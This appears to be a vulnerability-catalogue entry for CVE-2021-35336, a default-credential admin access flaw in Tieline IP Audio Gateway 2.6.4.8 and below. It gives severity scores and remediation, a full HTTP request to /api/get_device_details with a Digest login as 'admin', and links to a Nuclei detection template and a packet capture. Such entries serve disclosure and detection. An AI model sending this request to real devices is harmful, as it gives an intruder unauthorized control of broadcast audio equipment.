| Title | Tieline IP Audio Gateway <=2.6.4.8 - Unauthorized Remote Admin Panel Access |
|---|---|
| Author | Pratik Khalane |
| Severity | Critical |
| Impact | An attacker can gain unauthorized access to the admin panel, potentially leading to unauthorized control and manipulation of the audio gateway. |
| Remediation | Upgrade to a patched version of Tieline IP Audio Gateway that fixes the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.88398 |
| CVE ID | CVE-2021-35336 |
| CWE ID | CWE-1188 |
| Tags | cve2021 cve tieline default-login vuln |
Tieline IP Audio Gateway 2.6.4.8 and below is affected by a vulnerability in the web administrative interface that could allow an unauthenticated user to access a sensitive part of the system with a high privileged account.
GET /api/get_device_details HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Authorization: Digest username="admin", realm="Bridge-IT", nonce="d24d09512ebc3e43c4f6faf34fdb8c76", uri="/api/get_device_details", response="d052e9299debc7bd9cb8adef0a83fed4", qop=auth, nc=00000001, cnonce="ae373d748855243d"
Referer: http://www.victim.com/assets/base/home.html
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35336.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-35336.pcap
N/AN/A